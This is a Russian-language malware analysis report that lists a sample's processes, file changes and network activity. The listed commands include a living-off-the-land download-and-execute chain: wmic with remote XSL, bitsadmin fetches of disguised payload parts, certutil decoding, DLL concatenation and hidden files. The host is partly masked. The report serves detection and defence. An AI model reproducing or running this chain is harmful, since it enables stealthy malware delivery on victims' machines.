Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\wbem\wmic.exe' os get Fqqibbbxx, zvvvvmj, TotalPhysicalMemory /format:"http://14#.##.###.35.bc.googleusercontent.com/04/v.xsl#025039k33499hhd"
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64a.dll.z C:\Users\Public\Libraries\win32\halawxtz64a.dll
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh22a.dll.zip.log?21####### C:\Users\Public\Libraries\win32\halawxtz64a.dll.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?62####### C:\Users\Public\Libraries\win32\halawxtzxb.~.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?60####### C:\Users\Public\Libraries\win32\halawxtzxa.~.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?33####### C:\Users\Public\Libraries\win32\halawxtzgx.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?71####### C:\Users\Public\Libraries\win32\halawxtzg.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?51####### C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?44####### C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?50####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?85####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z
- '<SYSTEM32>\wbem\wmic.exe' os get JQNVRMEK, FRJKOYNO, DRAIBBUH, registeredusers /format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#354081"
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh22b.dll.zip.log?78####### C:\Users\Public\Libraries\win32\halawxtz64b.dll.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64b.dll.z C:\Users\Public\Libraries\win32\halawxtz64b.dll
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\r686iir.jpg:ullk994.cmd
- C:\users\public\libraries\win32\halawxtzgx.gif
- C:\users\public\libraries\win32\bite76a.tmp
- C:\users\public\libraries\win32\halawxtzg.gif
- C:\users\public\libraries\win32\bitc7cb.tmp
- C:\users\public\libraries\win32\halawxtzdx.gif
- C:\users\public\libraries\win32\bit960c.tmp
- C:\users\public\libraries\win32\halawxtzdwwn.gif
- C:\users\public\libraries\win32\bit6db3.tmp
- C:\users\public\libraries\win32\halawxtzc.jpg
- C:\users\public\libraries\win32\bit54ea.tmp
- C:\users\public\libraries\win32\halawxtzb.jpg
- C:\users\public\libraries\win32\bit3cec.tmp
- C:\users\public\libraries\win32\halawxtza.jpg
- C:\users\public\libraries\win32\bit26c4.tmp
- %TEMP%\sxs207a.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
- %TEMP%\jshudsbj.jpg:init.cmd
- %TEMP%\sxs1270.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
- C:\users\public\libraries\win32\bit4942.tmp
- C:\users\public\libraries\win32\halawxtzxa.~
Присваивает атрибут 'скрытый' для следующих файлов
- C:\users\public\libraries\win32\bit26c4.tmp
- C:\users\public\libraries\win32\bit3cec.tmp
- C:\users\public\libraries\win32\bit54ea.tmp
- C:\users\public\libraries\win32\bit6db3.tmp
- C:\users\public\libraries\win32\bit960c.tmp
- C:\users\public\libraries\win32\bitc7cb.tmp
- C:\users\public\libraries\win32\bite76a.tmp
- C:\users\public\libraries\win32\bit4942.tmp
Перемещает следующие файлы
- C:\users\public\libraries\win32\bit26c4.tmp в C:\users\public\libraries\win32\halawxtza.jpg.z
- C:\users\public\libraries\win32\bit3cec.tmp в C:\users\public\libraries\win32\halawxtzb.jpg.z
- C:\users\public\libraries\win32\bit54ea.tmp в C:\users\public\libraries\win32\halawxtzc.jpg.z
- C:\users\public\libraries\win32\bit6db3.tmp в C:\users\public\libraries\win32\halawxtzdwwn.gif.z
- C:\users\public\libraries\win32\bit960c.tmp в C:\users\public\libraries\win32\halawxtzdx.gif.z
- C:\users\public\libraries\win32\bitc7cb.tmp в C:\users\public\libraries\win32\halawxtzg.gif.z
- C:\users\public\libraries\win32\bite76a.tmp в C:\users\public\libraries\win32\halawxtzgx.gif.z
- C:\users\public\libraries\win32\bit4942.tmp в C:\users\public\libraries\win32\halawxtzxa.~.z
Сетевая активность
TCP
Запросы HTTP GET
- http://14#.##.###.35.bc.googleusercontent.com/04/v.xsl
- http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?85#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?50#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?44#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?51#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?71#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?33#######
- http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?60#######
UDP
- DNS ASK 14#.##.###.35.bc.googleusercontent.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^JQNVRMEK, ^FRJKOYNO, ^DRAIBBUH, ^registeredusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#354081" > %TMP%\JSHUDSBJ.jpg:init.cmd && %ComSpec% - <...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozcrt19.dll' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64b.dll.z C:\Users\Public\Libraries\win32\halawxtz64b.dll' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh22b.dll.zip.log?78####### C:\Users\Public\Libraries\win32\halawxtz64b.dll.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64a.dll.z C:\Users\Public\Libraries\win32\halawxtz64a.dll' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh22a.dll.zip.log?21####### C:\Users\Public\Libraries\win32\halawxtz64a.dll.z' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?62####### C:\Users\Public\Libraries\win32\halawxtzxb.~.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?60####### C:\Users\Public\Libraries\win32\halawxtzxa.~.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozsqlite3.dll' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?33####### C:\Users\Public\Libraries\win32\halawxtzgx.gif.z' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?71####### C:\Users\Public\Libraries\win32\halawxtzg.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?51####### C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?44####### C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?50####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?85####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > sqlite3.dll' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' -
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^JQNVRMEK, ^FRJKOYNO, ^DRAIBBUH, ^registeredusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#354081" > %TMP%\JSHUDSBJ.jpg:init.cmd && %ComSpec% - <...
- '<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozcrt19.dll
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozsqlite3.dll
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > sqlite3.dll
